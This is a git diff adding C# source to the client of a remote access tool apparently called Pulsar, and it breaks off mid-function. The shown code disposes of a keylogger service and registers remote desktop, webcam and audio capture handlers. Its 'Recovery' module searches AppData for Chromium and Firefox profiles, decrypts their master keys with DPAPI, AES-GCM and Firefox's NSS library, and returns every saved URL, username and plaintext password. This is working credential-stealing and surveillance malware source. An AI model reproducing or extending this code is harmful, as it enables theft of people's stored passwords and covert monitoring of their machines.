DeferredAssemblyManager.RunWhenAvailable( + DeferredAssemblyManager.SecondaryAssemblies, + () => + { + Action registerAction = () => RegisterDeferredMessageProcessors(client); + + try + { + if (InvokeRequired) + { + BeginInvoke((Action)registerAction); + } + else + { + registerAction(); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to schedule deferred message processors: {ex.Message}"); + } + }); + } + + private void RegisterDeferredMessageProcessors(PulsarClient client) + { + if (_deferredProcessorsRegistered) + { + return; + } + + _deferredProcessorsRegistered = true; + + try + { + DeferredAssemblyManager.TryEnsureAssembliesLoaded(SharpDxAssemblies); + DeferredAssemblyManager.TryEnsureAssembliesLoaded(WebcamAssemblies); + DeferredAssemblyManager.TryEnsureAssembliesLoaded(AudioAssemblies); + } + catch (Exception ex) + { + Debug.WriteLine($"Deferred assembly load error: {ex.Message}"); + } + + RegisterProcessor(new RemoteDesktopHandler()); + RegisterProcessor(new RemoteWebcamHandler()); + RegisterProcessor(new AudioHandler()); + RegisterProcessor(new AudioOutputHandler()); + } + + /// + /// Disposes all message processors of and unregisters them from the . + /// + private void CleanupMessageProcessors() + { + List processorsCopy; + + lock (_messageProcessors) + { + processorsCopy = new List(_messageProcessors); + _messageProcessors.Clear(); + } + + foreach (var msgProc in processorsCopy) + { + MessageHandler.Unregister(msgProc); + if (msgProc is IDisposable disposableMsgProc) + { + disposableMsgProc.Dispose(); + } + } + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + CleanupMessageProcessors(); + _keyloggerService?.Dispose(); + _userActivityDetection?.Dispose(); + ApplicationMutex?.Dispose(); + _connectClient?.Dispose(); + _notifyIcon.Visible = false; + _notifyIcon.Dispose(); + _debugLog?.Dispose(); // Dispose DebugLog + } + base.Dispose(disposing); + } + } +} diff --git a/Pulsar.Client/Recovery/.DS_Store b/Pulsar.Client/Recovery/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..c87a6679c37cacf65912daca8796cc2a516ea8e6 GIT binary patch literal 6148 zcmeHK!AiqG5S^(7Q}ob_;LZJo{6UOSya(^KwrHUx#VTI&Pu{$F@+15bZ@$@CQk!g` zClQ%}-Iq+>Y+l}mY?g>Pf1ag8V1P3E@k&x@sIxz^DV<7u6HZ-S4+AQzWvctB- zUvxm`E}XpbXP;e0kEYf*t17Cf#oE>5M9+wB=!q6kv+y|AH@(rsCvS09kFLmg zJ=!A79etdMJ_~ce954s=bpUI&L~^8Py*XeGm;;Ri@_le?(SJJ7`7Ho&h_nwJ z%U(iiT)-?~t%xfK)>5FBa@b<9mLu;1FAG>JYB_P(d~mokhaC$0yJLLk>12OK>Vx&> zK-+->O^jvzzwF=tx6AC@954s|kpny|$|A=Dg|)TwXtLHiv + /// Provides basic account recovery capabilities from chromium-based applications. + /// + public class ChromiumBase + { + + /// + /// Reads the stored accounts of an chromium-based application. + /// + /// The file path of the logins database. + /// The file path to the local state. + /// A list of recovered accounts. + public static List ReadAccounts(string filePath, string localStatePath, string appName) + { + var result = new List(); + + if (appName == "Local") + { + return result; + } + + Debug.WriteLine(filePath); + Debug.WriteLine(localStatePath); + Debug.WriteLine(appName); + + if (File.Exists(filePath)) + { + SQLiteHandler sqlDatabase; + + if (!File.Exists(filePath)) + return result; + + var decryptor = new ChromiumDecryptor(localStatePath); + + try + { + sqlDatabase = new SQLiteHandler(filePath); + } + catch (Exception) + { + return result; + } + + if (!sqlDatabase.ReadTable("logins")) + return result; + + for (int i = 0; i < sqlDatabase.GetRowCount(); i++) + { + try + { + + var host = sqlDatabase.GetValue(i, "origin_url"); + //Debug.WriteLine(host); + var user = sqlDatabase.GetValue(i, "username_value"); + //Debug.WriteLine(user); + var value = decryptor.Decrypt(sqlDatabase.GetValue(i, "password_value")); + //Debug.WriteLine(value); + + if (string.IsNullOrEmpty(host) || string.IsNullOrEmpty(user) || string.IsNullOrEmpty(value)) + continue; + + result.Add(new RecoveredAccount + { + Url = host, + Username = user, + Password = value, + Application = appName + }); + + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + } + else + { + throw new FileNotFoundException("Can not find chromium logins file"); + } + + return result; + } + } +} diff --git a/Pulsar.Client/Recovery/Browsers/ChromiumDecryptor.cs b/Pulsar.Client/Recovery/Browsers/ChromiumDecryptor.cs new file mode 100644 index 0000000..9fd9be8 --- /dev/null +++ b/Pulsar.Client/Recovery/Browsers/ChromiumDecryptor.cs @@ -0,0 +1,116 @@ +ο»Ώusing Pulsar.Client.Recovery.Utilities; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace Pulsar.Client.Recovery.Browsers +{ + /// + /// Provides methods to decrypt Chromium credentials. + /// + public class ChromiumDecryptor + { + private readonly byte[] _key; + + public ChromiumDecryptor(string localStatePath) + { + try + { + if (localStatePath.Contains("AppData\\Local\\Application Data\\User Data")) + { + return; + } + + if (File.Exists(localStatePath)) + { + string localState = File.ReadAllText(localStatePath); + + var startIndex = localState.IndexOf("\"encrypted_key\"") + "\"encrypted_key\"".Length + 2; + var endIndex = localState.IndexOf('"', startIndex + 1); + var encKeyStr = localState.Substring(startIndex, endIndex - startIndex); + + try + { + _key = ProtectedData.Unprotect(Convert.FromBase64String(encKeyStr).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Debug.WriteLine(localStatePath); + Debug.WriteLine(e); + Debug.WriteLine("Failed to decrypt the key. Ensure you have the correct local state file."); + return; + } + } + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + + public string Decrypt(string cipherText) + { + try + { + if (string.IsNullOrEmpty(cipherText)) + return ""; + + var cipherTextBytes = Encoding.Default.GetBytes(cipherText); + + var initialisationVector = cipherTextBytes.Skip(3).Take(12).ToArray(); + var encryptedData = cipherTextBytes.Skip(15).ToArray(); + + // Separate the actual encrypted data from the auth tag + var actualEncryptedData = encryptedData.Take(encryptedData.Length - 16).ToArray(); + var authTag = encryptedData.Skip(encryptedData.Length - 16).ToArray(); + + var decryptedPassword = DecryptAesGcm(actualEncryptedData, _key, initialisationVector, authTag); + + if (decryptedPassword == null || decryptedPassword.Length == 0) + return ""; + + return Encoding.UTF8.GetString(decryptedPassword); + } + catch (Exception e) + { + Debug.WriteLine(e); + return ""; + } + } + + private byte[] DecryptAesGcm(byte[] encryptedPassword, byte[] key, byte[] nonce, byte[] authTag) + { + const int KEY_BIT_SIZE = 256; + + if (key == null || key.Length != KEY_BIT_SIZE / 8) + { + Debug.WriteLine("Key is null or invalid length!"); + return null; + } + if (encryptedPassword == null || encryptedPassword.Length == 0) + { + Debug.WriteLine("Encrypted password is empty!"); + return null; + } + + + AesGcmBetter AES = new AesGcmBetter(); + var output = new byte[0]; + + try + { + output = AES.Decrypt(key, nonce, null, encryptedPassword, authTag); + } + catch (Exception e) + { + Debug.WriteLine(e); + return null; + } + return output; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Recovery/Browsers/FFDecryptor.cs b/Pulsar.Client/Recovery/Browsers/FFDecryptor.cs new file mode 100644 index 0000000..dc8cf70 --- /dev/null +++ b/Pulsar.Client/Recovery/Browsers/FFDecryptor.cs @@ -0,0 +1,116 @@ +ο»Ώusing Pulsar.Client.Utilities; +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Recovery.Browsers +{ + /// + /// Provides methods to decrypt Firefox credentials. + /// + public class FFDecryptor : IDisposable + { + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssInit(string configDirectory); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssShutdown(); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx); + + private NssInit NSS_Init; + + private NssShutdown NSS_Shutdown; + + private Pk11sdrDecrypt PK11SDR_Decrypt; + + private IntPtr NSS3; + private IntPtr Mozglue; + + public long Init(string configDirectory) + { + string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\"); + Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll")); + NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll")); + IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init"); + IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown"); + IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt"); + NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit)); + PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt)); + NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown)); + return NSS_Init(configDirectory); + } + + public string Decrypt(string cypherText) + { + IntPtr ffDataUnmanagedPointer = IntPtr.Zero; + StringBuilder sb = new StringBuilder(cypherText); + + try + { + byte[] ffData = Convert.FromBase64String(cypherText); + + ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length); + Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length); + + TSECItem tSecDec = new TSECItem(); + TSECItem item = new TSECItem(); + item.SECItemType = 0; + item.SECItemData = ffDataUnmanagedPointer; + item.SECItemLen = ffData.Length; + + if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) + { + if (tSecDec.SECItemLen != 0) + { + byte[] bvRet = new byte[tSecDec.SECItemLen]; + Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen); + return Encoding.ASCII.GetString(bvRet); + } + } + } + catch (Exception) + { + return null; + } + finally + { + if (ffDataUnmanagedPointer != IntPtr.Zero) + { + Marshal.FreeHGlobal(ffDataUnmanagedPointer); + } + } + + return null; + } + + [StructLayout(LayoutKind.Sequential)] + public struct TSECItem + { + public int SECItemType; + public IntPtr SECItemData; + public int SECItemLen; + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + NSS_Shutdown(); + NativeMethods.FreeLibrary(NSS3); + NativeMethods.FreeLibrary(Mozglue); + } + } + } +} diff --git a/Pulsar.Client/Recovery/Browsers/FirefoxPassReader.cs b/Pulsar.Client/Recovery/Browsers/FirefoxPassReader.cs new file mode 100644 index 0000000..bdd7a33 --- /dev/null +++ b/Pulsar.Client/Recovery/Browsers/FirefoxPassReader.cs @@ -0,0 +1,198 @@ +ο»Ώusing Pulsar.Client.Helper; +using Pulsar.Client.Recovery.Utilities; +using Pulsar.Common.Models; +using SharpDX.Direct3D11; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Runtime.Serialization; + +namespace Pulsar.Client.Recovery.Browsers +{ + public class FirefoxPassReader + { + + /// + public static List ReadAccounts(string profiles, string name) + { + string[] dirs = Directory.GetDirectories(profiles); + + var logins = new List(); + if (dirs.Length == 0) + return logins; + + foreach (string dir in dirs) + { + string signonsFile = string.Empty; + string loginsFile = string.Empty; + bool signonsFound = false; + bool loginsFound = false; + + string[] files = Directory.GetFiles(dir, "signons.sqlite"); + if (files.Length > 0) + { + signonsFile = files[0]; + signonsFound = true; + } + + files = Directory.GetFiles(dir, "logins.json"); + if (files.Length > 0) + { + loginsFile = files[0]; + loginsFound = true; + } + + if (loginsFound || signonsFound) + { + using (var decrypter = new FFDecryptor()) + { + var r = decrypter.Init(dir); + if (signonsFound) + { + SQLiteHandler sqlDatabase; + + if (!File.Exists(signonsFile)) + return logins; + + try + { + sqlDatabase = new SQLiteHandler(signonsFile); + } + catch (Exception) + { + return logins; + } + + + if (!sqlDatabase.ReadTable("moz_logins")) + return logins; + + for (int i = 0; i < sqlDatabase.GetRowCount(); i++) + { + try + { + var host = sqlDatabase.GetValue(i, "hostname"); + var user = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedUsername")); + var pass = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedPassword")); + + if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user)) + { + logins.Add(new RecoveredAccount + { + Url = host, + Username = user, + Password = pass, + Application = name + }); + } + } + catch (Exception) + { + // ignore invalid entry + } + } + } + + if (loginsFound) + { + FFLogins ffLoginData; + using (var sr = File.OpenRead(loginsFile)) + { + ffLoginData = JsonHelper.Deserialize(sr); + } + + foreach (Login loginData in ffLoginData.Logins) + { + string username = decrypter.Decrypt(loginData.EncryptedUsername); + string password = decrypter.Decrypt(loginData.EncryptedPassword); + logins.Add(new RecoveredAccount + { + Username = username, + Password = password, + Url = loginData.Hostname.ToString(), + Application = name + }); + } + } + } + } + + } + + return logins; + } + + [DataContract] + private class FFLogins + { + [DataMember(Name = "nextId")] + public long NextId { get; set; } + + [DataMember(Name = "logins")] + public Login[] Logins { get; set; } + + [IgnoreDataMember] + [DataMember(Name = "potentiallyVulnerablePasswords")] + public object[] PotentiallyVulnerablePasswords { get; set; } + + [IgnoreDataMember] + [DataMember(Name = "dismissedBreachAlertsByLoginGUID")] + public DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; } + + [DataMember(Name = "version")] + public long Version { get; set; } + } + + [DataContract] + private class DismissedBreachAlertsByLoginGuid + { + } + + [DataContract] + private class Login + { + [DataMember(Name = "id")] + public long Id { get; set; } + + [DataMember(Name = "hostname")] + public Uri Hostname { get; set; } + + [DataMember(Name = "httpRealm")] + public object HttpRealm { get; set; } + + [DataMember(Name = "formSubmitURL")] + public Uri FormSubmitUrl { get; set; } + + [DataMember(Name = "usernameField")] + public string UsernameField { get; set; } + + [DataMember(Name = "passwordField")] + public string PasswordField { get; set; } + + [DataMember(Name = "encryptedUsername")] + public string EncryptedUsername { get; set; } + + [DataMember(Name = "encryptedPassword")] + public string EncryptedPassword { get; set; } + + [DataMember(Name = "guid")] + public string Guid { get; set; } + + [DataMember(Name = "encType")] + public long EncType { get; set; } + + [DataMember(Name = "timeCreated")] + public long TimeCreated { get; set; } + + [DataMember(Name = "timeLastUsed")] + public long TimeLastUsed { get; set; } + + [DataMember(Name = "timePasswordChanged")] + public long TimePasswordChanged { get; set; } + + [DataMember(Name = "timesUsed")] + public long TimesUsed { get; set; } + } + } +} diff --git a/Pulsar.Client/Recovery/Browsers/Structs.cs b/Pulsar.Client/Recovery/Browsers/Structs.cs new file mode 100644 index 0000000..0ffa190 --- /dev/null +++ b/Pulsar.Client/Recovery/Browsers/Structs.cs @@ -0,0 +1,37 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Client.Recovery.Browsers +{ + public struct AllBrowsers + { + public BrowserChromium[] Chromium; + public BrowserGecko[] Gecko; + } + public struct BrowserChromium + { + public string Name; + public string Path; + public string LocalState; + public ProfileChromium[] Profiles; + } + + public struct ProfileChromium + { + public string Name; + public string LoginData; + public string Path; + } + + public struct BrowserGecko + { + public string Name; + public string Path; + public string Key4; + public string Logins; + public string ProfilesDir; + } +} diff --git a/Pulsar.Client/Recovery/Crawler/Crawl.cs b/Pulsar.Client/Recovery/Crawler/Crawl.cs new file mode 100644 index 0000000..6a35dcb --- /dev/null +++ b/Pulsar.Client/Recovery/Crawler/Crawl.cs @@ -0,0 +1,217 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Pulsar.Client.Recovery.Browsers; + +namespace Pulsar.Client.Recovery.Crawler +{ + public class Crawl + { + private static readonly string[] knownBrowserPaths = { + @"Opera", + @"Opera Software\Opera GX Stable", + }; + + private static string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + private static string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + private static List foundChromiumBrowsers = new List(); + private static List foundGeckoBrowsers = new List(); + + public static List Start() + { + foundChromiumBrowsers.Clear(); + foundGeckoBrowsers.Clear(); + + string[] rootDirs = { localAppData, appData }; + + Parallel.ForEach(rootDirs, rootDir => + { + if (Directory.Exists(rootDir)) + { + SearchDirectory(rootDir, foundChromiumBrowsers, foundGeckoBrowsers, rootDir == appData); + } + }); + + CheckForKnownBrowsers(); + + return new List + { + new AllBrowsers + { + Chromium = foundChromiumBrowsers.ToArray(), + Gecko = foundGeckoBrowsers.ToArray() + } + }; + } + + private static void SearchDirectory(string directory, List foundChromiumBrowsers, List foundGeckoBrowsers, bool isRoaming, int depth = 0) + { + if (depth > 3) return; + + try + { + CheckForBrowser(directory, foundChromiumBrowsers, foundGeckoBrowsers, isRoaming); + + var subDirs = Directory.GetDirectories(directory); + Parallel.ForEach(subDirs, dir => + { + SearchDirectory(dir, foundChromiumBrowsers, foundGeckoBrowsers, isRoaming, depth + 1); + }); + } + catch (Exception) + { + return; + } + } + + private static void CheckForBrowser(string path, List foundChromiumBrowsers, List foundGeckoBrowsers, bool isRoaming) + { + try + { + string userDataPath = Path.Combine(path, "User Data"); + string localStatePath = Path.Combine(userDataPath, "Local State"); + + if (Directory.Exists(userDataPath) && File.Exists(localStatePath)) + { + List profiles = new List(); + + string defaultProfile = Path.Combine(userDataPath, "Default"); + if (Directory.Exists(defaultProfile)) + { + string loginDataPath = Path.Combine(defaultProfile, "Login Data"); + if (File.Exists(loginDataPath)) + { + profiles.Add(new ProfileChromium + { + Name = "Default", + LoginData = loginDataPath, + Path = defaultProfile + }); + } + } + + var profileDirs = Directory.GetDirectories(userDataPath) + .Where(dir => Path.GetFileName(dir).StartsWith("Profile ")) + .Select(dir => Path.GetFileName(dir)); + + foreach (var profile in profileDirs) + { + string profilePath = Path.Combine(userDataPath, profile); + string loginDataPath = Path.Combine(profilePath, "Login Data"); + if (File.Exists(loginDataPath)) + { + profiles.Add(new ProfileChromium + { + Name = profile, + LoginData = loginDataPath, + Path = profilePath + }); + } + } + + if (profiles.Count > 0) + { + lock (foundChromiumBrowsers) + { + foundChromiumBrowsers.Add(new BrowserChromium + { + Name = Path.GetFileName(path), + LocalState = localStatePath, + Path = path, + Profiles = profiles.ToArray() + }); + } + } + } + + if (isRoaming) + { + string profilesPath = Path.Combine(path, "Profiles"); + if (Directory.Exists(profilesPath)) + { + List profiles = Directory.GetDirectories(profilesPath) + .Select(Path.GetFileName) + .Where(name => name.Contains(".default-")) + .ToList(); + + if (profiles.Count > 0) + { + string browserName = Directory.GetParent(path)?.Name + "\\" + Path.GetFileName(path); + lock (foundGeckoBrowsers) + { + foundGeckoBrowsers.Add(new BrowserGecko + { + Name = browserName, + Path = path, + Key4 = Path.Combine(path, "key4.db"), + Logins = Path.Combine(path, "logins.json"), + ProfilesDir = profilesPath + }); + } + } + } + } + } + catch (Exception) + { + return; + } + } + + private static void CheckForKnownBrowsers() + { + foreach (var knownPath in knownBrowserPaths) + { + string fullPath = Path.Combine(appData, knownPath); + if (Directory.Exists(fullPath)) + { + if (knownPath.Contains("Opera")) + { + CheckForOperaBrowser(fullPath); + } + else + { + CheckForBrowser(fullPath, foundChromiumBrowsers, foundGeckoBrowsers, false); + } + } + } + } + + private static void CheckForOperaBrowser(string path) + { + try + { + string loginDataPath = Path.Combine(path, "Login Data"); + if (File.Exists(loginDataPath)) + { + var profiles = new List + { + new ProfileChromium + { + Name = "Default", + LoginData = loginDataPath, + Path = path + } + }; + + lock (foundChromiumBrowsers) + { + foundChromiumBrowsers.Add(new BrowserChromium + { + Name = "Opera", + LocalState = Path.Combine(path, "Local State"), + Path = path, + Profiles = profiles.ToArray() + }); + } + } + } + catch (Exception) + { + return; + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Recovery/Utilities/BCrypt.cs b/Pulsar.Client/Recovery/Utilities/BCrypt.cs new file mode 100644 index 0000000..4b9cf7d --- /dev/null +++ b/Pulsar.Client/Recovery/Utilities/BCrypt.cs @@ -0,0 +1,175 @@ +ο»Ώusing System; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Recovery.Utilities +{ + public static class BCrypt + { + public const uint ERROR_SUCCESS = 0x00000000; + public const uint BCRYPT_PAD_PSS = 8; + public const uint BCRYPT_PAD_OAEP = 4; + + public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b); + + public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength"; + public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; + public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength"; + public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode"; + public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; + public static readonly string BCRYPT_AES_ALGORITHM = "AES"; + + public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; + + public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001; + public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001; + + public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_PSS_PADDING_INFO + { + public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) + { + this.pszAlgId = pszAlgId; + this.cbSalt = cbSalt; + } + + [MarshalAs(UnmanagedType.LPWStr)] + public string pszAlgId; + public int cbSalt; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable + { + public int cbSize; + public int dwInfoVersion; + public IntPtr pbNonce; + public int cbNonce; + public IntPtr pbAuthData; + public int cbAuthData; + public IntPtr pbTag; + public int cbTag; + public IntPtr pbMacContext; + public int cbMacContext; + public int cbAAD; + public long cbData; + public int dwFlags; + + public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() + { + dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; + cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); + + if (iv != null) + { + cbNonce = iv.Length; + pbNonce = Marshal.AllocHGlobal(cbNonce); + Marshal.Copy(iv, 0, pbNonce, cbNonce); + } + + if (aad != null) + { + cbAuthData = aad.Length; + pbAuthData = Marshal.AllocHGlobal(cbAuthData); + Marshal.Copy(aad, 0, pbAuthData, cbAuthData); + } + + if (tag != null) + { + cbTag = tag.Length; + pbTag = Marshal.AllocHGlobal(cbTag); + Marshal.Copy(tag, 0, pbTag, cbTag); + + cbMacContext = tag.Length; + pbMacContext = Marshal.AllocHGlobal(cbMacContext); + } + } + + public void Dispose() + { + if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce); + if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag); + if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData); + if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_KEY_LENGTHS_STRUCT + { + public int dwMinLength; + public int dwMaxLength; + public int dwIncrement; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_OAEP_PADDING_INFO + { + public BCRYPT_OAEP_PADDING_INFO(string alg) + { + pszAlgId = alg; + pbLabel = IntPtr.Zero; + cbLabel = 0; + } + + [MarshalAs(UnmanagedType.LPWStr)] + public string pszAlgId; + public IntPtr pbLabel; + public int cbLabel; + } + + [DllImport("bcrypt.dll")] + public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, + [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, + [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, + uint dwFlags); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] + public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] + internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); + + + [DllImport("bcrypt.dll")] + public static extern uint BCryptImportKey(IntPtr hAlgorithm, + IntPtr hImportKey, + [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, + out IntPtr phKey, + IntPtr pbKeyObject, + int cbKeyObject, + byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data) + int cbInput, + uint dwFlags); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptDestroyKey(IntPtr hKey); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptEncrypt(IntPtr hKey, + byte[] pbInput, + int cbInput, + ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, + byte[] pbIV, int cbIV, + byte[] pbOutput, + int cbOutput, + ref int pcbResult, + uint dwFlags); + + [DllImport("bcrypt.dll")] + internal static extern uint BCryptDecrypt(IntPtr hKey, + byte[] pbInput, + int cbInput, + ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, + byte[] pbIV, + int cbIV, + byte[] pbOutput, + int cbOutput, + ref int pcbResult, + int dwFlags); + } +} diff --git a/Pulsar.Client/Recovery/Utilities/ChromiumDecrypter.cs b/Pulsar.Client/Recovery/Utilities/ChromiumDecrypter.cs new file mode 100644 index 0000000..5faae1a --- /dev/null +++ b/Pulsar.Client/Recovery/Utilities/ChromiumDecrypter.cs @@ -0,0 +1,138 @@ +ο»Ώusing System; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; + +namespace Pulsar.Client.Recovery.Utilities +{ + public class AesGcmBetter + { + public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) + { + IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM); + IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey); + + byte[] plainText; + + var authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag); + try + { + byte[] ivData = new byte[MaxAuthTagSize(hAlg)]; + + int plainTextSize = 0; + + uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status)); + + plainText = new byte[plainTextSize]; + + status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0); + + if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH) + return null; + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status)); + } + finally + { + authInfo.Dispose(); + } + + BCrypt.BCryptDestroyKey(hKey); + Marshal.FreeHGlobal(keyDataBuffer); + BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0); + + return plainText; + } + + private int MaxAuthTagSize(IntPtr hAlg) + { + byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH); + + return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0); + } + + private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) + { + IntPtr hAlg = IntPtr.Zero; + + uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status)); + + byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode); + status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status)); + + return hAlg; + } + + private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) + { + byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH); + + int keyDataSize = BitConverter.ToInt32(objLength, 0); + + IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize); + + byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key); + + uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status)); + + return keyDataBuffer; + } + + private byte[] GetProperty(IntPtr hAlg, string name) + { + int size = 0; + + uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0); + + if (status != 